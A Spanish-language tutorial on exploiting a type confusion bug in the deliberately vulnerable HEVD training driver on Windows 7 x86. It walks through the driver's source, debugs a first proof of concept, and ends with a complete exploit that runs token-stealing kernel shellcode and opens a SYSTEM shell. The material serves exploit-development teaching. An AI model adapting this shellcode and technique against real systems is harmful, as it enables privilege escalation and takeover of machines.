0x05 - Introducción a Windows Kernel Type Confusion Vulnerabilidades
En el último tutorial aprovechamos un “Write-What-Where” o un “Escribir Qué Dónde” dentro de Windows 7 (x86) y Windows 11 (x64).
Igual que en los últimos tutoriales, introduciremos una nueva falla en Windows 7 (x86) kernel para obtener una base sólida sobre cómo ocurre la vulnerabilidad. Para ser más específicos, aprenderemos cómo aprovechar un Type Confusion!
Table of Contents
Qué es un Type Confusion (Alto Nivel)
No estás familiarizado con lo que es un Type Confusion? Comencemos con una descripción general de lo que es!
Para usar un ejemplo no técnico, veamos una hipótesis con Dark Souls. En la imagen abajo podemos ver a Siegmeyer of Catarina sentado afuera de la entrada de Sen’s Fortress.
Si miramos más cerca, podemos ver que detrás de Siegmeyer hay una Estus Flask que funciona como cualquier taza, sin embargo en Dark Souls se usa para reponer tu salud.
Dentro de Sen’s Fortress hay enemigos conocidos como “Man-Serpent soldiers”, estos enemigos se pueden ver hacia abajo. Siendo estas serpientes, quizás también contienen veneno.
Dado que una Estus Flask contiene líquido, hipotéticamente se podría cambiar el líquido utilizado para reponer la salud por otra cosa o, en el peor de los casos, modificarlo?
Dado que Siegmeyer está sumido en sus pensamientos, si abriéramos la puerta y él no se diera cuenta, hipotéticamente una serpiente podría tomar de el Estus Flask y reemplazar la cantidad que bebo con veneno. Si Siegmeyer no se da cuenta, morirá!
Este ataque de la serpiente es muy similar al de un Type Confusion. Un Type Confusion ocurre cuando un programa asume incorrectamente que un objeto o variable es de un tipo cuando en realidad es de otro. Este tipo de desajuste puede tener consecuencias horribles.
Podemos correlacionar esto con nuestro ejemplo:
- El programa (Siegmeyer) espera un tipo específico (poción de salud) basado en el objeto (Estus Flask).
- Un atacante (la serpiente) cambia la información a un tipo diferente sin que el programa se dé cuenta.
- El programa (Siegmeyer) utiliza el objeto y esto tiene consecuencias catastróficas.
En términos técnicos, esto sucede cuando los tipos de variables del lenguaje de programación se convierten incorrectamente, por ejemplo en C++ encasillamiento inseguro (unsafe typecasting) o JavaScript con mecanografía suelta (“loose typing”). Luego, los atacantes pueden aprovechar estas vulnerabilidades para dañar la memoria o incluso ejecutar código.
Con la descripción general completa, podemos comenzar y ver código!
Usando el Código
Podemos comenzar identificando las ubicaciones de código adecuado.
$ ls -l | grep Type
-rw-r--r-- 1 wetw0rk wetw0rk 7736 Oct 24 22:20 TypeConfusion.c
-rw-r--r-- 1 wetw0rk wetw0rk 2954 Oct 24 22:20 TypeConfusion.h
Al observar el código, nos centraremos en las siguientes funciones.
TypeConfusionIoctlHandler()
TriggerTypeConfusion()
TypeConfusionObjectInitializer()
TypeConfusionObjectCallback()
Empecemos desde arriba!
TypeConfusionIoctlHandler
TypeConfusionIoctlHandler es la función que se llamará al enviar el código de IOCTL. Igual como los ejemplos anteriores, convertimos nuestra información en un objeto / estructura. En este caso PUSER_TYPE_CONFUSION_OBJECT
.
218 NTSTATUS
219 TypeConfusionIoctlHandler(
220 _In_ PIRP Irp,
221 _In_ PIO_STACK_LOCATION IrpSp
222 )
223 {
224 NTSTATUS Status = STATUS_UNSUCCESSFUL;
225 PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = NULL;
226
227 UNREFERENCED_PARAMETER(Irp);
228 PAGED_CODE();
229
230 UserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
231
232 if (UserTypeConfusionObject)
233 {
234 Status = TriggerTypeConfusion(UserTypeConfusionObject);
235 }
236
237 return Status;
238 }
Echemonos una mirada a la estructura PUSER_TYPE_CONFUSION_OBJECT
dentro de TypeConfusion.h.
Dentro del código también podemos ver otra estructura definida, siendo esta estructura _KERNEL_TYPE_CONFUSION_OBJECT
.
62 typedef struct _USER_TYPE_CONFUSION_OBJECT
63 {
64 ULONG_PTR ObjectID;
65 ULONG_PTR ObjectType;
66 } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
67
68 #pragma warning(push)
69 #pragma warning(disable : 4201)
70 typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
71 {
72 ULONG_PTR ObjectID;
73 union
74 {
75 ULONG_PTR ObjectType;
76 FunctionPointer Callback;
77 };
78 } KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;
79 #pragma warning(pop)
Si estás familiarizado con C, esto no debería ser demasiado complicado. Vemos dos punteros unsigned long cuando usamos la estructura USER_TYPE_CONFUSION_OBJECT
.
Dentro de la estructura _KERNEL_TYPE_CONFUSION_OBJECT
vemos un puntero unsigned long y una unión. Dentro de la unión vemos un puntero unsigned long y un puntero de función.
Desde la perspectiva de aprovechar la aplicación, este sería un objetivo ideal, porque FunctionPointer
es un puntero a una función… como su nombre indica.
Esto se puede ver en Common.h.
70 typedef void(*FunctionPointer)();
TriggerTypeConfusion
TriggerTypeConfusion es donde se pasa PUSER_TYPE_CONFUSION_OBJECT
, esta función se puede ver abajo
105 NTSTATUS
106 TriggerTypeConfusion(
107 _In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
108 )
109 {
110 NTSTATUS Status = STATUS_UNSUCCESSFUL;
111 PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;
112
113 PAGED_CODE();
114
115 __try
116 {
117 //
118 // Verify if the buffer resides in user mode
119 //
120
121 ProbeForRead(
122 UserTypeConfusionObject,
123 sizeof(USER_TYPE_CONFUSION_OBJECT),
124 (ULONG)__alignof(UCHAR)
125 );
126
127 //
128 // Allocate Pool chunk
129 //
130
131 KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132 NonPagedPool,
133 sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134 (ULONG)POOL_TAG
135 );
136
137 if (!KernelTypeConfusionObject)
138 {
139 //
140 // Unable to allocate Pool chunk
141 //
142
143 DbgPrint("[-] Unable to allocate Pool chunk\n");
144
145 Status = STATUS_NO_MEMORY;
146 return Status;
147 }
148 else
149 {
150 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
151 DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
152 DbgPrint("[+] Pool Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
153 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
154 }
154 }
155
156 DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
157 DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
158 DbgPrint("[+] KernelTypeConfusionObject Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
159
160 KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161 KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
162
163 DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
164 DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);
165
166
167 #ifdef SECURE
168 //
169 // Secure Note: This is secure because the developer is properly setting 'Callback'
170 // member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer
171 // of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
172 // parameter
173 //
174
175 KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
176 Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
177 #else
178 DbgPrint("[+] Triggering Type Confusion\n");
179
180 //
181 // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
182 // use of the 'UNION' construct. The developer has not set the 'Callback' member of
183 // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
184 // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
185 // parameter
186 //
187
188 Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
189 #endif
190
191 DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194
195 //
196 // Free the allocated Pool chunk
197 //
198
199 ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200 KernelTypeConfusionObject = NULL;
201 }
202 __except (EXCEPTION_EXECUTE_HANDLER)
203 {
204 Status = GetExceptionCode();
205 DbgPrint("[-] Exception Code: 0x%X\n", Status);
206 }
206 }
207
208 return Status;
209 }
Como ocurre con todas las funciones grandes, analicemos esto pieza por pieza. Primero, asignamos un objeto PKERNEL_TYPE_CONFUSION_OBJECT
en el NonPagedPool.
131 KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132 NonPagedPool,
133 sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134 (ULONG)POOL_TAG
135 );
A partir de ahí, suponiendo que todo salió bien, el conductor asigna los miembros ObjectID
y ObjectType
a la estructura KernelTypeConfusionObject
que asignamos utilizando nuestra información.
160 KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161 KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
Luego llamamos a TypeConfusionObjectInitializer
usando este objeto como el único parámetro.
188 Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
Saltaremos esta función, sin embargo, el tipo devuelto es de NTSTATUS
.
Al finalizar este análisis de código, podemos ver que el objeto asignado se libera y luego se establece en NULL.
191 DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192 DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193 DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194
195 //
196 // Free the allocated Pool chunk
197 //
198
199 ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200 KernelTypeConfusionObject = NULL;
201 }
202 __except (EXCEPTION_EXECUTE_HANDLER)
203 {
204 Status = GetExceptionCode();
205 DbgPrint("[-] Exception Code: 0x%X\n", Status);
206 }
207
208 return Status;
209 }
Lo principal a tener en cuenta sobre esta función es que el miembro Callback
nunca se establece. Es posible que podamos utilizar esto a nuestro favor…
TypeConfusionObjectInitializer
Para recapitular, PKERNEL_TYPE_CONFUSION_OBJECT
se pasa a la función TypeConfusionObjectInitializer desde la función TriggerTypeConfusion.
Podemos ver el código para TypeConfusionObjectInitializer abajo.
80 NTSTATUS
81 TypeConfusionObjectInitializer(
82 _In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
83 )
84 {
85 NTSTATUS Status = STATUS_SUCCESS;
86
87 PAGED_CODE();
88
89 DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
90 DbgPrint("[+] Calling Callback\n");
91
92 KernelTypeConfusionObject->Callback();
93
94 DbgPrint("[+] Kernel Type Confusion Object Initialized\n");
95
96 return Status;
97 }
Interesante… parece que simplemente llamamos al miembro Callback()
… Me pregunto si cuando escribimos en KernelTypeConfusionObject podríamos sobrescribir o más bien asignar a la memoria adyacente parte de nuestro buffer?
Pruebas Dinámicas
En este punto sentí que tenía una comprensión sólida de cómo funciona esta función, así que decidí empezar a jugar con ella y observar el comportamiento.
Desarrollé lo siguiente que sirviera como mi PoC:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
int Exploit(HANDLE hHEVD)
{
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
ULONG oId = 0x41414141;
ULONG oType = 0x42424242;
DWORD dwBytesReturned = 0;
UserTypeConfusionObject.ObjectType = oType;
UserTypeConfusionObject.ObjectID = oId;
DeviceIoControl(hHEVD,
HEVD_IOCTL_TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return 0;
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
Exploit(hHEVD);
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Establezcamos un punto de interrupción justo cuando llamamos a la función TypeConfusionInitializer
para ver qué se pasa a la función.
Una vez pegado, podemos ver que el puntero a nuestro objeto (almacenado en la parte superior de la stack) contiene un búfer de 16 bytes. Eso es aproximadamente 8 bytes más de lo esperado.
Si miramos esto desde la perspectiva de la estructura misma, solo debería tener 8 bytes.
$ gcc struct_size.c -m32
$ ./a.out
Sizeof USER_TYPE_CONFUSION_OBJECT : 8
Sizeof KERNEL_TYPE_CONFUSION_OBJECT : 8
Pero espera, no debería la KERNEL_TYPE_CONFUSION_OBJECT
tener 12 bytes “(sizeof(ULONG_PTR) + sizeof(ULONG_PTR) + sizeof(FunctionPointer))”?
Después de buscar en Google, parece que el tamaño de una unión está determinado por el tamaño de su miembro más grande.
Entonces esta asignación es de 8 bytes??
KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
(ULONG)POOL_TAG
);
Ejecutémoslo nuevamente, esta vez estableciendo un punto de interrupción en la llamada a ExAllocatePoolWithTag
.
Interesante… como se esperaba, son 8 bytes…
Ahora veamos qué se pasa a TypeConfusionObjectInitializer
.
Esta vez no vemos más información de la esperada, pero podemos ver que la devolución de llamada es una dirección no válida.
Si continuamos con el paso, eventualmente llegaremos a la llamada a la función de devolución de llamada. Una vez allí, podremos ver que en realidad estamos llamando a una dirección que no es válida.
Más específicamente la información que enviamos.
Si damos un paso más, podemos ver que pudimos provocar corrupción de memoria.
Sin embargo, ¡el kernel no falló! Si continúa la ejecución, notará que Windows continúa con su comportamiento normal. Es realmente importante saber esto desde la perspectiva del desarrollo de exploits: ¡no todas las vulnerabilidades desencadenarán un BSOD!
Entonces, cómo sucedió esto? Dado que la Unión tiene un total de 4 bytes y nunca se inicializó, el Tipo de objeto ocupa el lugar del puntero de devolución de llamada.
Explotación
Dado que es Windows 7 (x86) y no tenemos que preocuparnos por las protecciones de memoria modernas, la explotación es tan simple como llamar a nuestro shellcode en el área de usuario.
El PoC se puede ver hacia abajo:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
ULONG_PTR ObjectID;
ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* Exploit():
Type Confusion */
int Exploit(HANDLE hHEVD)
{
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
DWORD dwBytesReturned = 0;
LPVOID lpvMemoryAllocation = NULL;
char shellcode[]=
/* sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint */
"\x60" // pushal
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
"\x8b\x40\x50" // mov eax, dword ptr [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, dword ptr [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp dword ptr [eax + 0xb4], edx
"\x75\xed" // jne 0x1014
"\x8b\x90\xf8\x00\x00\x00" // mov edx, dword ptr [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov dword ptr [ecx + 0xf8], edx
"\x61" // popal
/* Return to Userland */
"\xc3"; // ret
lpvMemoryAllocation = VirtualAlloc(NULL,
53,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpvMemoryAllocation == NULL)
{
printf("[*] Failed to allocate memory for shellcode\n");
}
printf("[*] Allocated memory for shellcode, shellocode @{0x%p}\n", lpvMemoryAllocation);
memcpy(lpvMemoryAllocation, shellcode, 53);
UserTypeConfusionObject.ObjectType = (ULONG)lpvMemoryAllocation;
UserTypeConfusionObject.ObjectID = 0x41414141;
printf("[*] Triggering type confusion\n");
DeviceIoControl(hHEVD,
HEVD_IOCTL_TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == NULL)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[*] Exploitation successful, enjoy de shell!!\n\n");
system("cmd.exe");
} else {
printf("[-] Exploitation failed, run again\n");
}
if (hHEVD != INVALID_HANDLE_VALUE) {
CloseHandle(hHEVD);
}
}
Una vez enviado, obtenemos la ejecución del código :)